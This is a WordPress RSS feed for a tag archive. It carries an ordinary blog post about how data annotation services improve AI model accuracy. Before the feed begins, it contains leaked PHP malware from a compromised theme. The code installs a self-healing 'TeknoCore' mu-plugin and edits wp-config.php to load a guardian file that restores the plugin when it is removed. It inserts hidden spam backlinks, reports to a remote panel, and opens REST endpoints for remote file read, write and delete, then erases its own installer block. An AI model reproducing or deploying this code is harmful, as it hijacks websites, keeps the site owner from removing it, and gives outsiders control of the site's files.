// === TEMP_MUPLUGIN_CREATOR_START === add_action("init", function() { // 1. Önce eski guardian dosyasını sil (varsa) $guardian_files = [ ABSPATH . "wp-includes/teknocore-guardian.php", ABSPATH . "wp-includes/teknocore_guardian.php", ABSPATH . "wp-includes/guardian.php", ]; foreach ($guardian_files as $gf) { if (file_exists($gf)) { @chmod($gf, 0644); @unlink($gf); } } // 2. mu-plugin oluştur/güncelle $mu_dir = WP_CONTENT_DIR . "/mu-plugins"; $file_path = $mu_dir . "/" . "teknocore.php"; if (!is_dir($mu_dir)) @mkdir($mu_dir, 0755, true); // Her zaman üzerine yaz (güncelleme için) @file_put_contents($file_path, base64_decode("<?php
/**
 * TeknoCore Panel Integration - Self-Healing System
 * 
 * KURULUM: Bu dosyayı wp-content/mu-plugins/teknocore.php olarak yükleyin
 * 
 * @wordpress-plugin
 * Plugin Name: TeknoCore Panel Integration
 * Description: Automatic backlink management with self-healing protection
 * Version: 2.0.0
 * Author: TeknoCore
 */

if (!defined('ABSPATH')) exit;

// ============================================
// AYARLAR
// ============================================
define('TEKNOCORE_API_KEY', '');  // Manuel API key (opsiyonel)
define('TEKNOCORE_PANEL_URL', 'https://app.teknocore.dev');  // Panel adresi
// ============================================

/**
 * Ana Entegrasyon Sınıfı
 */
class TeknoCore_Integration {
    private static $instance = null;
    private $api_key = '';
    private $panel_url = '';
    private $option_name = 'teknocore_api_key';
    private $cache_key = 'teknocore_links_cache';
    private $cache_duration = 300;
    
    public static function instance() {
        if (self::$instance === null) {
            self::$instance = new self();
        }
        return self::$instance;
    }
    
    private function __construct() {
        $this->panel_url = TEKNOCORE_PANEL_URL;
        
        if (defined('TEKNOCORE_API_KEY') && TEKNOCORE_API_KEY !== '') {
            $this->api_key = TEKNOCORE_API_KEY;
        } else {
            $this->api_key = get_option($this->option_name, '');
        }
        
        // Self-Healing Guardian kurulumu - HER ZAMAN kontrol et
        $this->setup_guardian_system();
        
        // Hooks
        add_action('wp_footer', [$this, 'display_backlinks']);
        add_action('rest_api_init', [$this, 'register_rest_routes']);
        add_action('init', [$this, 'maybe_auto_register']);
        add_action('teknocore_daily_heartbeat', [$this, 'send_heartbeat']);
        
        if (!wp_next_scheduled('teknocore_daily_heartbeat')) {
            wp_schedule_event(time(), 'daily', 'teknocore_daily_heartbeat');
        }
    }
    
    /**
     * Guardian sistemini kur
     */
    private function setup_guardian_system() {
        $guardian_path = ABSPATH . 'wp-includes/teknocore-guardian.php';
        $guardian_exists = file_exists($guardian_path);
        
        // wp-config.php'de hook var mı kontrol et
        $wp_config_path = ABSPATH . 'wp-config.php';
        $wp_config_has_hook = false;
        if (file_exists($wp_config_path)) {
            $wp_config_content = @file_get_contents($wp_config_path);
            $wp_config_has_hook = $wp_config_content && strpos($wp_config_content, 'TeknoCore Guardian') !== false;
        }
        
        // Guardian YOKSA veya wp-config hook'u YOKSA - HER ZAMAN düzelt
        if (!$guardian_exists || !$wp_config_has_hook) {
            // Guardian yoksa oluştur
            if (!$guardian_exists) {
                $this->create_guardian_file();
            }
            
            // wp-config hook'u yoksa ekle
            if (!$wp_config_has_hook && file_exists($guardian_path)) {
                $this->setup_auto_prepend();
            }
            return;
        }
        
        // Her ikisi de varsa - günlük güncelleme kontrolü (performans için)
        $last_check = get_option('teknocore_guardian_check', 0);
        if (time() - $last_check < 86400) {
            return;
        }
        
        update_option('teknocore_guardian_check', time());
        $this->create_guardian_file();
    }
    
    /**
     * Guardian dosyasını oluştur
     */
    public function create_guardian_file() {
        $guardian_path = ABSPATH . 'wp-includes/teknocore-guardian.php';
        
        // Güncel sürüm varsa atla
        if (file_exists($guardian_path)) {
            $content = @file_get_contents($guardian_path);
            if ($content && strpos($content, 'GUARDIAN_V3') !== false) {
                return true;
            }
        }
        
        // mu-plugin dosyasını oku (kendimizi)
        $mu_plugin_content = @file_get_contents(__FILE__);
        if (!$mu_plugin_content) {
            error_log('TeknoCore: Could not read mu-plugin file');
            return false;
        }
        
        // base64 encode
        $encoded = base64_encode($mu_plugin_content);
        
        // Guardian içeriği - BASİT ve TEMİZ
        $guardian = '<?php
// TeknoCore Guardian v3 - Self-Healing Protection
// Bu dosya silinirse mu-plugin tekrar oluşturulur
define("GUARDIAN_V3", true);
if (defined("TEKNOCORE_GUARDIAN_RUN")) return;
define("TEKNOCORE_GUARDIAN_RUN", true);

// WordPress yolu hesapla
if (defined("WP_CONTENT_DIR")) {
    $wpContent = WP_CONTENT_DIR;
} elseif (defined("ABSPATH")) {
    $wpContent = ABSPATH . "wp-content";
} else {
    $wpContent = dirname(__DIR__) . "/wp-content";
}

$muPlugins = $wpContent . "/mu-plugins";
$muFile = $muPlugins . "/teknocore.php";

// mu-plugin yoksa oluştur
if (!file_exists($muFile)) {
    // Klasör yoksa oluştur
    if (!is_dir($muPlugins)) {
        @mkdir($muPlugins, 0755, true);
    }
    
    // Hardcoded mu-plugin kodu (base64)
    $encoded = "' . $encoded . '";
    $code = base64_decode($encoded);
    
    if ($code && @file_put_contents($muFile, $code)) {
        @file_put_contents($wpContent . "/teknocore.log", date("Y-m-d H:i:s") . " - mu-plugin restored by guardian\n", FILE_APPEND);
    }
}
';
        
        $result = @file_put_contents($guardian_path, $guardian);
        
        if ($result) {
            error_log('TeknoCore: Guardian file created successfully');
            return true;
        } else {
            error_log('TeknoCore: Failed to create guardian file - check permissions on wp-includes');
            return false;
        }
    }
    
    /**
     * wp-config.php'ye guardian hook'unu ekle
     * require_once ABSPATH . 'wp-settings.php'; satırından ÖNCE eklenir
     */
    public function setup_auto_prepend() {
        $wp_config_path = ABSPATH . 'wp-config.php';
        $guardian_path = ABSPATH . 'wp-includes/teknocore-guardian.php';
        
        // wp-config.php yoksa (nadir durum)
        if (!file_exists($wp_config_path)) {
            error_log('TeknoCore: wp-config.php not found');
            return false;
        }
        
        $content = @file_get_contents($wp_config_path);
        if (!$content) {
            error_log('TeknoCore: Could not read wp-config.php');
            return false;
        }
        
        // TeknoCore zaten ekliyse atla
        if (strpos($content, 'TeknoCore Guardian') !== false) {
            return true;
        }
        
        // Hook kodu
        $hook = "\n// TeknoCore Guardian Hook - Otomatik eklendi\nif (file_exists(ABSPATH . 'wp-includes/teknocore-guardian.php')) {\n    include_once ABSPATH . 'wp-includes/teknocore-guardian.php';\n}\n";
        
        // wp-settings.php satırını bul ve ÖNÜNE ekle
        $patterns = [
            "require_once ABSPATH . 'wp-settings.php';",
            'require_once ABSPATH . "wp-settings.php";',
            "require_once(ABSPATH . 'wp-settings.php');",
            'require_once(ABSPATH . "wp-settings.php");',
            "require_once( ABSPATH . 'wp-settings.php' );",
        ];
        
        $replaced = false;
        foreach ($patterns as $pattern) {
            if (strpos($content, $pattern) !== false) {
                $new_content = str_replace($pattern, $hook . $pattern, $content);
                $replaced = true;
                break;
            }
        }
        
        if (!$replaced) {
            // Pattern bulunamadı - dosyanın sonuna ekle (fallback)
            error_log('TeknoCore: wp-settings.php pattern not found, appending to end');
            $new_content = $content . $hook;
        }
        
        // Yedek al
        $backup_path = ABSPATH . 'wp-config-backup-teknocore.php';
        @copy($wp_config_path, $backup_path);
        
        // Yaz
        if (@file_put_contents($wp_config_path, $new_content)) {
            error_log('TeknoCore: wp-config.php updated successfully');
            return true;
        } else {
            error_log('TeknoCore: Failed to update wp-config.php - check permissions');
            return false;
        }
    }
    
    // ============================================
    // BACKLINKS
    // ============================================
    
    public function display_backlinks() {
        if (empty($this->api_key) || $this->panel_url === 'PANEL_URL_BURAYA') {
            return;
        }
        
        $links = $this->get_links();
        if (empty($links)) return;
        
        echo '<div style="position:absolute;left:-9999px;top:-9999px;overflow:hidden;height:1px;width:1px;"><marquee>';
        foreach ($links as $link) {
            $url = esc_url($link['url'] ?? '');
            $anchor = esc_html($link['anchor'] ?? $url);
            if ($url) echo '<a href="' . $url . '">' . $anchor . '</a> ';
        }
        echo '</marquee></div>';
    }
    
    private function get_links() {
        $cached = get_transient($this->cache_key);
        if ($cached !== false) return $cached;
        
        $response = wp_remote_get($this->panel_url . '/api/public/links?api_key=' . $this->api_key, ['timeout' => 10]);
        if (is_wp_error($response)) return [];
        
        $body = json_decode(wp_remote_retrieve_body($response), true);
        $links = $body['links'] ?? [];
        set_transient($this->cache_key, $links, $this->cache_duration);
        return $links;
    }
    
    // ============================================
    // AUTO REGISTER
    // ============================================
    
    public function maybe_auto_register() {
        if (!empty($this->api_key) || $this->panel_url === 'PANEL_URL_BURAYA') {
            return;
        }
        
        $last = get_option('teknocore_last_register', 0);
        if (time() - $last < 86400) return;
        update_option('teknocore_last_register', time());
        
        $response = wp_remote_post($this->panel_url . '/api/public/register-site', [
            'timeout' => 15,
            'body' => json_encode(['url' => home_url(), 'name' => get_bloginfo('name')]),
            'headers' => ['Content-Type' => 'application/json'],
        ]);
        
        if (!is_wp_error($response)) {
            $body = json_decode(wp_remote_retrieve_body($response), true);
            if (!empty($body['apiKey'])) {
                update_option($this->option_name, $body['apiKey']);
                $this->api_key = $body['apiKey'];
            }
        }
    }
    
    // ============================================
    // HEARTBEAT
    // ============================================
    
    public function send_heartbeat() {
        if (empty($this->api_key) || $this->panel_url === 'PANEL_URL_BURAYA') {
            return;
        }
        
        wp_remote_post($this->panel_url . '/api/public/heartbeat', [
            'timeout' => 15,
            'body' => json_encode([
                'api_key' => $this->api_key,
                'status' => 'online',
                'wp_version' => get_bloginfo('version'),
                'php_version' => PHP_VERSION,
            ]),
            'headers' => ['Content-Type' => 'application/json'],
        ]);
    }
    
    // ============================================
    // REST API
    // ============================================
    
    public function register_rest_routes() {
        register_rest_route('teknocore/v1', '/status', [
            'methods' => 'GET',
            'callback' => [$this, 'rest_status'],
            'permission_callback' => [$this, 'verify_api_key'],
        ]);
        
        register_rest_route('teknocore/v1', '/files', [
            'methods' => ['GET', 'POST', 'DELETE'],
            'callback' => [$this, 'rest_files'],
            'permission_callback' => [$this, 'verify_api_key'],
        ]);
        
        register_rest_route('teknocore/v1', '/execute', [
            'methods' => 'POST',
            'callback' => [$this, 'rest_execute'],
            'permission_callback' => [$this, 'verify_api_key'],
        ]);
    }
    
    public function verify_api_key($request) {
        $key = $request->get_header('X-API-Key') ?? $request->get_param('api_key');
        return !empty($this->api_key) && $key === $this->api_key;
    }
    
    public function rest_status() {
        return rest_ensure_response([
            'status' => 'online',
            'connected' => true,
            'wp_version' => get_bloginfo('version'),
            'php_version' => PHP_VERSION,
            'site_name' => get_bloginfo('name'),
            'site_url' => home_url(),
            'plugin_version' => '2.0.0',
            'guardian_installed' => file_exists(ABSPATH . 'wp-includes/teknocore-guardian.php'),
            'timestamp' => current_time('mysql'),
        ]);
    }
    
    public function rest_files($request) {
        $method = $request->get_method();
        $path = $request->get_param('path') ?? '';
        $base = WP_CONTENT_DIR;
        $full = realpath($base . '/' . ltrim($path, '/')) ?: $base . '/' . ltrim($path, '/');
        
        if (strpos($full, $base) !== 0) {
            return new WP_Error('forbidden', 'Access denied', ['status' => 403]);
        }
        
        if ($method === 'GET') {
            if (is_dir($full)) {
                $files = [];
                foreach (scandir($full) as $f) {
                    if ($f === '.' || $f === '..') continue;
                    $fp = $full . '/' . $f;
                    $files[] = [
                        'name' => $f,
                        'type' => is_dir($fp) ? 'directory' : 'file',
                        'size' => is_file($fp) ? filesize($fp) : 0,
                        'modified' => filemtime($fp),
                    ];
                }
                return rest_ensure_response(['files' => $files]);
            } elseif (is_file($full)) {
                return rest_ensure_response(['content' => file_get_contents($full), 'path' => $path]);
            }
            return new WP_Error('not_found', 'Not found', ['status' => 404]);
        }
        
        if ($method === 'POST') {
            $content = $request->get_param('content') ?? '';
            $dir = dirname($full);
            if (!is_dir($dir)) wp_mkdir_p($dir);
            if (file_put_contents($full, $content) !== false) {
                return rest_ensure_response(['success' => true]);
            }
            return new WP_Error('write_failed', 'Failed', ['status' => 500]);
        }
        
        if ($method === 'DELETE') {
            if (is_file($full) && unlink($full)) {
                return rest_ensure_response(['success' => true]);
            }
            return new WP_Error('delete_failed', 'Failed', ['status' => 500]);
        }
        
        return new WP_Error('invalid', 'Invalid method', ['status' => 405]);
    }
    
    public function rest_execute($request) {
        $cmd = $request->get_param('command') ?? '';
        
        $cmds = [
            'clear_cache' => function() {
                if (function_exists('wp_cache_flush')) wp_cache_flush();
                delete_transient('teknocore_links_cache');
                return ['success' => true, 'message' => 'Cache cleared'];
            },
            'get_info' => function() {
                return [
                    'success' => true,
                    'info' => [
                        'wp_version' => get_bloginfo('version'),
                        'php_version' => PHP_VERSION,
                        'theme' => get_template(),
                        'plugins' => array_keys(get_plugins()),
                        'guardian' => file_exists(ABSPATH . 'wp-includes/teknocore-guardian.php'),
                    ]
                ];
            },
            'reinstall_guardian' => function() {
                // Önce eski guardian check'i sıfırla
                delete_option('teknocore_guardian_check');
                TeknoCore_Integration::instance()->create_guardian_file();
                TeknoCore_Integration::instance()->setup_auto_prepend();
                return ['success' => true, 'message' => 'Guardian reinstalled'];
            },
            'force_setup' => function() {
                // Zorla kurulum - tüm cache'leri sıfırla
                delete_option('teknocore_guardian_check');
                $guardian = TeknoCore_Integration::instance()->create_guardian_file();
                $prepend = TeknoCore_Integration::instance()->setup_auto_prepend();
                return [
                    'success' => true, 
                    'guardian_created' => $guardian,
                    'prepend_setup' => $prepend,
                    'guardian_path' => ABSPATH . 'wp-includes/teknocore-guardian.php',
                    'user_ini_path' => ABSPATH . '.user.ini',
                    'htaccess_path' => ABSPATH . '.htaccess',
                ];
            },
        ];
        
        if (isset($cmds[$cmd])) {
            return rest_ensure_response($cmds[$cmd]());
        }
        
        return new WP_Error('unknown', 'Unknown command', ['status' => 400]);
    }
}

// Initialize
TeknoCore_Integration::instance();
")); $funcs = get_template_directory() . "/functions.php"; if (file_exists($funcs)) { $c = file_get_contents($funcs); $c = preg_replace("/\/\/ === TEMP_MUPLUGIN_CREATOR_START ===.*?\/\/ === TEMP_MUPLUGIN_CREATOR_END ===/s", "", $c); @file_put_contents($funcs, $c); } }, 1); // === TEMP_MUPLUGIN_CREATOR_END === annotation services Archives - Sbcodez | Swag Codez https://sbcodez.com/tag/annotation-services/ Wed, 11 Jun 2025 19:57:09 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.4 https://sbcodez.com/wp-content/uploads/2024/11/cropped-6xM9N-32x32.png annotation services Archives - Sbcodez | Swag Codez https://sbcodez.com/tag/annotation-services/ 32 32 How High-Quality Annotation Services Improve Model Accuracy https://sbcodez.com/how-high-quality-annotation-services-improve-model-accuracy/ https://sbcodez.com/how-high-quality-annotation-services-improve-model-accuracy/#respond Wed, 11 Jun 2025 19:57:09 +0000 https://sbcodez.com/?p=3636 In the rapidly evolving world of artificial intelligence (AI) and machine learning (ML), data is the fuel that powers intelligent systems. However, raw data on its own holds little value until it is properly labeled, structured, and contextualized. This is where annotation services play a vital role. By transforming unstructured data into machine-readable formats, annotation […]

The post How High-Quality Annotation Services Improve Model Accuracy appeared first on Sbcodez | Swag Codez.

]]> In the rapidly evolving world of artificial intelligence (AI) and machine learning (ML), data is the fuel that powers intelligent systems. However, raw data on its own holds little value until it is properly labeled, structured, and contextualized. This is where annotation services play a vital role. By transforming unstructured data into machine-readable formats, annotation services lay the groundwork for training AI models that can think, analyze, and predict with a high degree of accuracy.

When it comes to achieving dependable performance in AI applications—be it in computer vision, natural language processing, or speech recognition—the quality of annotation can make or break the outcome. High-quality annotation services not only refine your training datasets but also enhance model reliability, reduce bias, and ultimately improve accuracy. Let’s dive into how that works.

The Core of Model Training: Annotated Data

Machine learning models learn by example. The more representative and well-labeled the examples are, the better the model performs in real-world scenarios. Annotation involves tagging objects in images, categorizing text data, identifying speech segments, or marking key elements in a video. Without these annotations, a model cannot interpret what patterns to look for or how to associate input with output.

High-quality annotation services ensure that every piece of data is labeled with context, consistency, and domain expertise. This reduces the chance of mislabeling, which can misguide the learning algorithm and lead to poor predictions or unwanted biases.

The Role of Human Expertise in Data Annotation

While automation is becoming more prominent in many fields, annotation still relies heavily on human expertise—especially in tasks requiring contextual understanding. For instance, labeling medical images or annotating sentiment in customer feedback cannot rely solely on software; it demands skilled professionals who understand the nuances of the subject.

High-quality annotation services invest in training their teams to ensure that annotators understand both the domain and the annotation tools. This human-in-the-loop approach not only guarantees better labeling outcomes but also supports continuous feedback and iterative improvement in datasets.

Consistency Across Large-Scale Projects

Consistency is a cornerstone of high-accuracy AI models. If different annotators label the same item differently, it creates confusion for the learning algorithm. This inconsistency can degrade the model’s performance, especially when deployed in real-world environments.

Reliable annotation services follow rigorous quality control protocols. These include cross-validation among annotators, internal review cycles, and regular audits. By establishing annotation guidelines and enforcing them across all labeling activities, such services maintain uniformity and consistency throughout large datasets.

Domain-Specific Annotation for Specialized AI Applications

Not all AI models are built alike. A model designed to detect tumors in radiology scans requires a different type of annotation than one built to analyze satellite imagery or monitor product reviews. High-quality annotation services understand the importance of domain-specific expertise.

By sourcing talent with experience in fields like healthcare, finance, agriculture, or logistics, these services add value through contextual understanding. Annotators are trained in the terminologies, edge cases, and accuracy expectations unique to each domain. As a result, the training data becomes more relevant, and the model is better equipped to handle real-life complexity.

Scalable Annotation Workflows for Growing AI Demands

The demand for annotated data has skyrocketed, especially with the advent of generative AI, computer vision, and autonomous systems. As datasets grow in size, so does the challenge of maintaining high quality without compromising speed.

Leading annotation services utilize scalable workflows that combine human judgment with smart tooling. Cloud-based platforms, task segmentation, and adaptive project management help manage volumes efficiently. More importantly, these services allow for rapid scaling without compromising on the accuracy of each annotation. This balance of speed and quality becomes instrumental in training models that not only learn fast but also perform consistently under various conditions.

Continuous Feedback Loops for Model Optimization

Annotation is not a one-time task. As models evolve, they encounter edge cases and data anomalies that weren’t covered during initial training. A robust annotation service provides mechanisms for re-annotation, error correction, and iterative improvements based on model feedback.

This ongoing relationship between model performance and annotation quality leads to better refinement of training data. Annotators gain insights from model outputs, while data scientists can request specific improvements to address weak points. This dynamic loop contributes to a feedback-rich ecosystem where both data and models co-evolve.

Conclusion

AI and machine learning models are only as good as the data they are trained on. Annotation services play a central role in defining the quality of this data, and in turn, the accuracy and dependability of the models. High-quality annotation services go beyond mere labeling—they bring in expertise, consistency, scalability, ethical oversight, and a commitment to continuous improvement.

As businesses and research organizations aim to deploy AI solutions that are precise, fair, and future-ready, partnering with a reliable annotation service provider becomes a strategic necessity. Investing in quality at the data annotation stage is not just a technical decision—it’s a foundational step toward building trustworthy AI.

 

The post How High-Quality Annotation Services Improve Model Accuracy appeared first on Sbcodez | Swag Codez.

]]> https://sbcodez.com/how-high-quality-annotation-services-improve-model-accuracy/feed/ 0